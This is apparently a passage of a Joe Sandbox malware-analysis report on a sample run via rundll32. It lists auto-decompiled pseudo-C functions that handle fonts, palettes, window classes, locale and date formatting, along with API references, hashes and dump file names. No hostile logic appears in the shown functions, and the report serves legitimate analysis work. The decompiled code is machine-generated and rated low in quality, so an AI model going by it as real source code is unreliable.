						_t41 = _t41 + 2;
						_t18 = _t18 - 1;
						__eflags = _t18;
						if(_t18 != 0) {
							continue;
						} else {
							return _t18;
						}
						L18:
					}
				}
				L17:
				return _t18;
				goto L18;
			}

0x009dd11c
0x009dd126
0x009dd130
0x009dd13a
0x009dd141
0x009dd143
0x009dd143
0x009dd14b
0x009dd157
0x009dd163
0x009dd163
0x009dd177
0x009dd180
0x009dd22f
0x009dd234
0x009dd239
0x009dd240
0x009dd245
0x009dd247
0x009dd24a
0x009dd250
0x009dd252
0x00000000
0x009dd25a
0x009dd186
0x009dd186
0x009dd18d
0x009dd18f
0x009dd196
0x00000000
0x009dd196
0x009dd1a3
0x009dd1b3
0x009dd1b5
0x009dd1ba
0x009dd1bd
0x009dd1c3
0x009dd1c5
0x009dd1c7
0x00000000
0x009dd1c7
0x009dd1d3
0x009dd1d8
0x009dd1de
0x009dd1de
0x009dd1e0
0x009dd1e1
0x009dd1e2
0x009dd1e2
0x009dd1fe
0x009dd204
0x009dd209
0x009dd20e
0x009dd214
0x009dd214
0x009dd218
0x009dd21b
0x009dd221
0x009dd223
0x00000000
0x00000000
0x009dd225
0x009dd228
0x009dd228
0x009dd229
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x009dd229
0x009dd214
0x009dd261
0x009dd261
0x00000000

APIs

GetStringTypeA.KERNEL32(00000409,00000002,?,00000080,?), ref: 009DD204
GetThreadLocale.KERNEL32 ref: 009DD13A

Part of subcall function 009DD098: GetCPInfo.KERNEL32(00000000,?), ref: 009DD0B1

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 8009059e9c7fcced38bd92fa336f2b38f0efa59d3f0347259b2e2afe22ec1919
Instruction ID: f1c5fd758cba20bc2ade451b3d2f4f1afd3e638306133e24acb2d4f2d17e4587
Opcode Fuzzy Hash: 8009059e9c7fcced38bd92fa336f2b38f0efa59d3f0347259b2e2afe22ec1919
Instruction Fuzzy Hash: 1931D8617CA3858EE720DBE8AC01795379DEB92341F58C067EA84CB392DF748947C721

Uniqueness

Uniqueness Score: -1.00%

Function 009F6BFC Relevance: 6.1, APIs: 4, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E009F6BFC(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				intOrPtr _t33;
				intOrPtr _t59;
				struct HDC__* _t69;
				void* _t70;
				intOrPtr _t79;
				void* _t84;
				struct HPALETTE__* _t85;
				intOrPtr _t87;
				intOrPtr _t89;

				_t87 = _t89;
				_push(_t70);
				_v8 = __eax;
				_t33 = _v8;
				if( *((intOrPtr*)(_t33 + 0x58)) == 0) {
					return _t33;
				} else {
					E009F4E24(_v8);
					_push(_t87);
					_push(0x9f6cdb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					E009F7F18( *((intOrPtr*)(_v8 + 0x58)));
					E009F6A78( *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8));
					E009F8018( *((intOrPtr*)(_v8 + 0x58)));
					_t69 = CreateCompatibleDC(0);
					_t84 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8);
					if(_t84 == 0) {
						 *((intOrPtr*)(_v8 + 0x5c)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x5c)) = SelectObject(_t69, _t84);
					}
					_t85 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 0x10);
					if(_t85 == 0) {
						 *((intOrPtr*)(_v8 + 0x60)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x60)) = SelectPalette(_t69, _t85, 0xffffffff);
						RealizePalette(_t69);
					}
					E009F5118(_v8, _t69);
					_t59 =  *0xa9c8fc; // 0xf70acc
					E009EB96C(_t59, _t69, _t70, _v8, _t85);
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(0x9f6ce2);
					return E009F4F90(_v8);
				}
			}

0x009f6bfd
0x009f6bff
0x009f6c02
0x009f6c05
0x009f6c0c
0x009f6ce6
0x009f6c12
0x009f6c15
0x009f6c1c
0x009f6c1d
0x009f6c22
0x009f6c25
0x009f6c2e
0x009f6c3f
0x009f6c4a
0x009f6c56
0x009f6c61
0x009f6c66
0x009f6c7c
0x009f6c68
0x009f6c72
0x009f6c72
0x009f6c88
0x009f6c8d
0x009f6cab
0x009f6c8f
0x009f6c9b
0x009f6c9f
0x009f6c9f
0x009f6cb3
0x009f6cbb
0x009f6cc0
0x009f6cc7
0x009f6cca
0x009f6ccd
0x009f6cda
0x009f6cda

APIs

Part of subcall function 009F4E24: RtlEnterCriticalSection.KERNEL32(00A9F8C8,00000000,009F38D2,00000000,009F3931), ref: 009F4E2C
Part of subcall function 009F4E24: RtlLeaveCriticalSection.KERNEL32(00A9F8C8,00A9F8C8,00000000,009F38D2,00000000,009F3931), ref: 009F4E39
Part of subcall function 009F4E24: RtlEnterCriticalSection.KERNEL32(00000038,00A9F8C8,00A9F8C8,00000000,009F38D2,00000000,009F3931), ref: 009F4E42

Part of subcall function 009F8018: GetDC.USER32(00000000), ref: 009F806E
Part of subcall function 009F8018: GetDeviceCaps.GDI32(00000000,0000000C), ref: 009F8083
Part of subcall function 009F8018: GetDeviceCaps.GDI32(00000000,0000000E), ref: 009F808D
Part of subcall function 009F8018: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,009F6C4F,00000000,009F6CDB), ref: 009F80B1
Part of subcall function 009F8018: ReleaseDC.USER32 ref: 009F80BC

CreateCompatibleDC.GDI32(00000000), ref: 009F6C51
SelectObject.GDI32(00000000,?), ref: 009F6C6A
SelectPalette.GDI32(00000000,?,000000FF), ref: 009F6C93
RealizePalette.GDI32(00000000), ref: 009F6C9F

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CriticalPaletteSection$CapsCreateDeviceEnterSelect$CompatibleHalftoneLeaveObjectRealizeRelease
String ID:
API String ID: 979337279-0
Opcode ID: a74d74993d831f6682974a59273ebfecc746b95e2acf89616faf8b62f712fc74
Instruction ID: 34e762b88cddb04a046ae214381d6b784db8e77c136de7d4a286ae823e86996c
Opcode Fuzzy Hash: a74d74993d831f6682974a59273ebfecc746b95e2acf89616faf8b62f712fc74
Instruction Fuzzy Hash: 4E31E774A04618EFC714EF59C981E6DB7F5FF89720B6245A1B944AB362C730EE40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 009F2350 Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E009F2350(intOrPtr _a4, short _a6, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				int _t10;
				void* _t11;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;
				CHAR* _t24;

				_t6 =  *0xa9f668; // 0x9d0000
				 *0xa9c62c = _t6;
				_t8 =  *0xa9c640; // 0x9f2340
				_t9 =  *0xa9f668; // 0x9d0000
				_t10 = GetClassInfoA(_t9, _t8,  &_v44);
				asm("sbb eax, eax");
				_t11 = _t10 + 1;
				if(_t11 == 0 || L009D70B4 != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0xa9f668; // 0x9d0000
						_t20 =  *0xa9c640; // 0x9f2340
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA(0xa9c61c);
				}
				_t13 =  *0xa9f668; // 0x9d0000
				_t24 =  *0xa9c640; // 0x9f2340
				_t22 = E009D75D8(0x80, _t24, 0, _t13, 0, 0, 0, 0, 0, 0, 0x80000000);
				if(_a6 != 0) {
					SetWindowLongA(_t22, 0xfffffffc, E009F2294(_a4, _a8));
				}
				return _t22;
			}

0x009f2357
0x009f235c
0x009f2365
0x009f236b
0x009f2371
0x009f2379
0x009f237b
0x009f237e
0x009f238c
0x009f238e
0x009f2394
0x009f239a
0x009f239a
0x009f23a4
0x009f23a4
0x009f23ba
0x009f23c7
0x009f23d7
0x009f23de
0x009f23ef
0x009f23ef
0x009f23fa

APIs

GetClassInfoA.USER32 ref: 009F2371
UnregisterClassA.USER32 ref: 009F239A
RegisterClassA.USER32 ref: 009F23A4
SetWindowLongA.USER32 ref: 009F23EF

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 320ebbeac1d0a37a8f03885234a5b7448aaef93cb9ef6019724b1e072596c982
Instruction ID: d49ad2dbf1511015ce92bfd07b9c9e086de51b7749922c03b9182bfe67ef2e55
Opcode Fuzzy Hash: 320ebbeac1d0a37a8f03885234a5b7448aaef93cb9ef6019724b1e072596c982
Instruction Fuzzy Hash: 5A0121713442086BCB10EFECDC81FAA77ADEB49314F109122FB04D73A1EA659951CB60

Uniqueness

Uniqueness Score: -1.00%

Function 009D1C0C Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E009D1C0C() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E009D1CC2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0xa9f5cc);
				L009D1560();
				if( *0xa9f04d != 0) {
					_push(0xa9f5cc);
					L009D1568();
				}
				E009D15D0(0xa9f5ec);
				E009D15D0(0xa9f5fc);
				E009D15D0(0xa9f628);
				 *0xa9f624 = LocalAlloc(0, 0xff8);
				if( *0xa9f624 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0xa9f624; // 0x8f0f20
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0xa9f610)) = 0xa9f60c;
					 *0xa9f60c = 0xa9f60c;
					 *0xa9f618 = 0xa9f60c;
					 *0xa9f5c4 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E009D1CC9);
				if( *0xa9f04d != 0) {
					_push(0xa9f5cc);
					L009D1570();
					return 0;
				}
				return 0;
			}

0x009d1c11
0x009d1c12
0x009d1c17
0x009d1c1a
0x009d1c1d
0x009d1c22
0x009d1c2e
0x009d1c30
0x009d1c35
0x009d1c35
0x009d1c3f
0x009d1c49
0x009d1c53
0x009d1c64
0x009d1c70
0x009d1c72
0x009d1c77
0x009d1c77
0x009d1c7f
0x009d1c83
0x009d1c84
0x009d1c90
0x009d1c93
0x009d1c95
0x009d1c9a
0x009d1c9a
0x009d1ca3
0x009d1ca6
0x009d1ca9
0x009d1cb5
0x009d1cb7
0x009d1cbc
0x00000000
0x009d1cbc
0x009d1cc1

APIs

RtlInitializeCriticalSection.KERNEL32(00A9F5CC,00000000,009D1CC2,?,?,009D24A6), ref: 009D1C22
RtlEnterCriticalSection.KERNEL32(00A9F5CC,00A9F5CC,00000000,009D1CC2,?,?,009D24A6), ref: 009D1C35
LocalAlloc.KERNEL32(00000000,00000FF8,00A9F5CC,00000000,009D1CC2,?,?,009D24A6), ref: 009D1C5F
RtlLeaveCriticalSection.KERNEL32(00A9F5CC,009D1CC9,00000000,009D1CC2,?,?,009D24A6), ref: 009D1CBC

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 2fbacea879306211dcecf0b9b6863f2b0ce09d2272b3d72647206262d00230a6
Instruction ID: e9d9c08308179869fa5aef2e6eb9a14bb1340eee9bc12d8926bccbba0284b23b
Opcode Fuzzy Hash: 2fbacea879306211dcecf0b9b6863f2b0ce09d2272b3d72647206262d00230a6
Instruction Fuzzy Hash: F401A9B27D43807EEB11AFB9A90A7143AC8E7D9740F11C47BF102C63E2E9B88841CB51

Uniqueness

Uniqueness Score: -1.00%

Function 009F4254 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E009F4254(void* __eax, void* __ebx, void* __ecx) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _t76;
				intOrPtr _t81;
				void* _t100;
				void* _t107;
				void* _t116;
				intOrPtr _t126;
				void* _t137;
				void* _t138;
				intOrPtr _t139;

				_t137 = _t138;
				_t139 = _t138 + 0xffffffb4;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_t116 = __eax;
				_push(_t137);
				_push(0x9f43dd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v8 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(_v8 + 8)) != 0) {
					__eflags = 0;
					 *[fs:eax] = 0;
					_push(0x9f43e4);
					return E009D424C( &_v80, 3);
				} else {
					_t76 =  *0xa9f8e0; // 0xf70a30
					E009F3598(_t76);
					_push(_t137);
					_push(0x9f43b5);
					_push( *[fs:eax]);
					 *[fs:eax] = _t139;
					if( *((intOrPtr*)(_v8 + 8)) == 0) {
						_v68.lfHeight =  *(_v8 + 0x14);
						_v68.lfWidth = 0;
						_v68.lfEscapement = 0;
						_v68.lfOrientation = 0;
						if(( *(_v8 + 0x19) & 0x00000001) == 0) {
							_v68.lfWeight = 0x190;
						} else {
							_v68.lfWeight = 0x2bc;
						}
						_v68.lfItalic = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000002) != 0x00000000;
						_v68.lfUnderline = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000004) != 0x00000000;
						_v68.lfStrikeOut = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000008) != 0x00000000;
						_v68.lfCharSet =  *((intOrPtr*)(_v8 + 0x1a));
						E009D448C( &_v72, _v8 + 0x1b,  *(_v8 + 0x19) & 0x00000008);
						_t100 = E009D8930(_v72, "Default");
						_t146 = _t100;
						if(_t100 != 0) {
							__eflags = _v8 + 0x1b;
							E009D448C( &_v80, _v8 + 0x1b, _v8 + 0x1b);
							E009D9220( &(_v68.lfFaceName), _v80);
						} else {
							E009D448C( &_v76, "\rMS Sans Serif", _t146);
							E009D9220( &(_v68.lfFaceName), _v76);
						}
						_v68.lfQuality = 0;
						_v68.lfOutPrecision = 0;
						_v68.lfClipPrecision = 0;
						_t107 = E009F4538(_t116) - 1;
						if(_t107 == 0) {
							_v68.lfPitchAndFamily = 2;
						} else {
							if(_t107 == 1) {
								_v68.lfPitchAndFamily = 1;
							} else {
								_v68.lfPitchAndFamily = 0;
							}
						}
						 *((intOrPtr*)(_v8 + 8)) = CreateFontIndirectA( &_v68);
					}
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x9f43bc);
					_t81 =  *0xa9f8e0; // 0xf70a30
					return E009F35A4(_t81);
				}
			}

0x009f4255
0x009f4257
0x009f425d
0x009f4260
0x009f4263
0x009f4266
0x009f426a
0x009f426b
0x009f4270
0x009f4273
0x009f4279
0x009f4283
0x009f43c2
0x009f43c7
0x009f43ca
0x009f43dc
0x009f4289
0x009f4289
0x009f428e
0x009f4295
0x009f4296
0x009f429b
0x009f429e
0x009f42a8
0x009f42b4
0x009f42b9
0x009f42be
0x009f42c3
0x009f42cd
0x009f42d8
0x009f42cf
0x009f42cf
0x009f42cf
0x009f42e9
0x009f42f6
0x009f4303
0x009f430c
0x009f4318
0x009f4325
0x009f432a
0x009f432c
0x009f434e
0x009f4351
0x009f435c
0x009f432e
0x009f4336
0x009f4341
0x009f4341
0x009f4361
0x009f4365
0x009f4369
0x009f4374
0x009f4376
0x009f437e
0x009f4378
0x009f437a
0x009f4384
0x009f437c
0x009f438a
0x009f438a
0x009f437a
0x009f439a
0x009f439a
0x009f439f
0x009f43a2
0x009f43a5
0x009f43aa
0x009f43b4
0x009f43b4

APIs

Part of subcall function 009F3598: RtlEnterCriticalSection.KERNEL32(?,009F35D5), ref: 009F359C

CreateFontIndirectA.GDI32(?), ref: 009F4392

Strings

Default, xrefs: 009F4320
MS Sans Serif, xrefs: 009F4331

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CreateCriticalEnterFontIndirectSection
String ID: MS Sans Serif$Default
API String ID: 2931345757-2137701257
Opcode ID: d11fd5dae637b6e45878caab91fd16b67a562d134b9bf8b40f245d97f93645dc
Instruction ID: ee4d8a1aa071d3c5567fc090bedef0fe56739299c52fabf5a58dd024cc198abb
Opcode Fuzzy Hash: d11fd5dae637b6e45878caab91fd16b67a562d134b9bf8b40f245d97f93645dc
Instruction Fuzzy Hash: D8514B31A0424CDFDB11DFA8C581BEEBBF6AF48304F2580AAE900A7352D3749E55DB65

Uniqueness

Uniqueness Score: -1.00%

Function 009DA790 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E009DA790(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				char _v280;
				char* _t32;
				intOrPtr* _t49;
				intOrPtr _t58;
				void* _t63;
				void* _t67;

				_v8 = 0;
				_t49 = __edx;
				_t63 = __eax;
				_push(_t67);
				_push(0x9da86e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffeec;
				E009D4228(__edx);
				_v24 =  *((intOrPtr*)(_a4 - 0xe));
				_v22 =  *((intOrPtr*)(_a4 - 0x10));
				_v18 =  *((intOrPtr*)(_a4 - 0x12));
				if(_t63 > 2) {
					E009D42C0( &_v8, 0x9da890);
				} else {
					E009D42C0( &_v8, 0x9da884);
				}
				_t32 = E009D46E8(_v8);
				if(GetDateFormatA(GetThreadLocale(), 4,  &_v24, _t32,  &_v280, 0x100) != 0) {
					E009D4498(_t49, 0x100,  &_v280);
					if(_t63 == 1 &&  *((char*)( *_t49)) == 0x30) {
						E009D4748( *_t49, E009D44E8( *_t49) - 1, 2, _t49);
					}
				}
				_pop(_t58);
				 *[fs:eax] = _t58;
				_push(0x9da875);
				return E009D4228( &_v8);
			}

0x009da79d
0x009da7a0
0x009da7a2
0x009da7a6
0x009da7a7
0x009da7ac
0x009da7af
0x009da7b4
0x009da7c0
0x009da7cb
0x009da7d6
0x009da7dd
0x009da7f6
0x009da7df
0x009da7e7
0x009da7e7
0x009da80a
0x009da823
0x009da832
0x009da838
0x009da853
0x009da853
0x009da838
0x009da85a
0x009da85d
0x009da860
0x009da86d

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,009DA86E), ref: 009DA816
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,009DA86E), ref: 009DA81C

Strings

yyyy, xrefs: 009DA7F1

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 0a19510f193dcd51ff6cd6f5597754b1f0fec84b0b0dcf223ef29407cc9be7b9
Instruction ID: 3e07ea106ac57525fc1c5aa4d339873a881c78babfb43e5a654413e799fc3a76
Opcode Fuzzy Hash: 0a19510f193dcd51ff6cd6f5597754b1f0fec84b0b0dcf223ef29407cc9be7b9
Instruction Fuzzy Hash: B2214138680208AFDB11EBA8D842BAE73F8EF89300F918067FD54D7351D6309E51D766

Uniqueness

Uniqueness Score: -1.00%

Function 009FE278 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E009FE278(char __edx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t15;
				signed int _t24;
				signed int _t25;
				signed int _t28;
				void* _t31;
				void* _t34;
				void* _t35;
				char _t36;
				signed int _t40;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t50;

				_t50 = __fp0;
				_t43 = __esi;
				_t42 = __edi;
				_t36 = __edx;
				if(__edx != 0) {
					_t45 = _t45 + 0xfffffff0;
					_t15 = E009D3694(_t15, _t44);
				}
				_v5 = _t36;
				_t34 = _t15;
				E00A1CCEC(_t34, _t35, 0, _t42, _t43, _t50);
				E00A1A030(_t34, GetSystemMetrics(2));
				E00A1A054(_t34, GetSystemMetrics(0x14));
				_t24 =  *(_t34 + 0x4c);
				_t40 = _t24;
				_t25 = _t24 >> 1;
				if(0 < 0) {
					asm("adc eax, 0x0");
				}
				E00A1A054(_t34, _t40 + _t25);
				 *((char*)(_t34 + 0x208)) = 1;
				 *((char*)(_t34 + 0x21f)) = 0;
				 *((short*)(_t34 + 0x21c)) = 0;
				 *((short*)(_t34 + 0x210)) = 0;
				 *((short*)(_t34 + 0x212)) = 0x64;
				 *((intOrPtr*)(_t34 + 0x214)) = 1;
				 *((char*)(_t34 + 0x228)) = 1;
				 *((char*)(_t34 + 0x229)) = 1;
				 *((char*)(_t34 + 0x21e)) = 1;
				_t28 =  *0x9fe340; // 0x80
				 *(_t34 + 0x50) =  !_t28 &  *(_t34 + 0x50);
				_t31 = _t34;
				if(_v5 != 0) {
					E009D36EC(_t31);
					_pop( *[fs:0x0]);
				}
				return _t34;
			}

0x009fe278
0x009fe278
0x009fe278
0x009fe278
0x009fe27f
0x009fe281
0x009fe284
0x009fe284
0x009fe289
0x009fe28c
0x009fe292
0x009fe2a2
0x009fe2b2
0x009fe2b7
0x009fe2ba
0x009fe2bc
0x009fe2be
0x009fe2c0
0x009fe2c0
0x009fe2c7
0x009fe2cc
0x009fe2d3
0x009fe2da
0x009fe2e3
0x009fe2ec
0x009fe2f5
0x009fe2ff
0x009fe306
0x009fe30d
0x009fe314
0x009fe31e
0x009fe321
0x009fe327
0x009fe329
0x009fe32e
0x009fe335
0x009fe33d

APIs

GetSystemMetrics.USER32 ref: 009FE299
GetSystemMetrics.USER32 ref: 009FE2A9

Strings

d, xrefs: 009FE2EC

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: MetricsSystem
String ID: d
API String ID: 4116985748-2564639436
Opcode ID: b6bbb0d6d652c3b8cac81b2ffd71e037f0e3cb945a38bfb854af3a4d7afc70bf
Instruction ID: 3770f3f787959b976f7c412e9e036da491047147e5442566f4ee5af1443f9d32
Opcode Fuzzy Hash: b6bbb0d6d652c3b8cac81b2ffd71e037f0e3cb945a38bfb854af3a4d7afc70bf
Instruction Fuzzy Hash: CB1191317843848BEB00DF7888CA3C53B955F64308F0880B8ED588F397EABB95488366

Uniqueness

Uniqueness Score: -1.00%

Function 009F9D1C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E009F9D1C(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				signed int _t19;
				void* _t20;
				intOrPtr _t21;

				_t19 = _a12;
				if( *0xa9f91f != 0) {
					_t16 = 0;
					if((_t19 & 0x00000003) != 0) {
						L7:
						_t16 = 0x12340042;
					} else {
						_t21 = _a4;
						if(_t21 >= 0 && _t21 < GetSystemMetrics(0) && _a8 >= 0 && GetSystemMetrics(1) > _a8) {
							goto L7;
						}
					}
				} else {
					_t18 =  *0xa9f900; // 0x9f9d1c
					 *0xa9f900 = E009F9A84(3, _t15, _t18, _t19, _t20);
					_t16 =  *0xa9f900(_a4, _a8, _t19);
				}
				return _t16;
			}

0x009f9d22
0x009f9d2c
0x009f9d56
0x009f9d5f
0x009f9d87
0x009f9d87
0x009f9d61
0x009f9d61
0x009f9d66
0x00000000
0x00000000
0x009f9d66
0x009f9d2e
0x009f9d33
0x009f9d40
0x009f9d52
0x009f9d52
0x009f9d92

APIs

GetSystemMetrics.USER32 ref: 009F9D6A
GetSystemMetrics.USER32 ref: 009F9D7C

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

MonitorFromPoint, xrefs: 009F9D2E

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromPoint
API String ID: 1792783759-1072306578
Opcode ID: 66977863c9cfea88d07285425bc3354a6d852a62f9719355fb93be14d742c6f0
Instruction ID: dfce48d4a9fb3920978a3715035130f6a75f283b7d034939be1e5e55814097c4
Opcode Fuzzy Hash: 66977863c9cfea88d07285425bc3354a6d852a62f9719355fb93be14d742c6f0
Instruction Fuzzy Hash: 0301863130124CEFDF109FA5DC44B6A7BA5EBC1394F644136FA14CB1A2C7719C518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F9BF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E009F9BF4(intOrPtr* _a4, signed int _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t14;
				intOrPtr _t16;
				signed int _t17;
				void* _t18;
				void* _t19;

				_t17 = _a8;
				_t14 = _a4;
				if( *0xa9f91e != 0) {
					_t19 = 0;
					if((_t17 & 0x00000003) != 0 ||  *((intOrPtr*)(_t14 + 8)) > 0 &&  *((intOrPtr*)(_t14 + 0xc)) > 0 && GetSystemMetrics(0) >  *_t14 && GetSystemMetrics(1) >  *((intOrPtr*)(_t14 + 4))) {
						_t19 = 0x12340042;
					}
				} else {
					_t16 =  *0xa9f8fc; // 0x9f9bf4
					 *0xa9f8fc = E009F9A84(2, _t14, _t16, _t17, _t18);
					_t19 =  *0xa9f8fc(_t14, _t17);
				}
				return _t19;
			}

0x009f9bfa
0x009f9bfd
0x009f9c07
0x009f9c2c
0x009f9c35
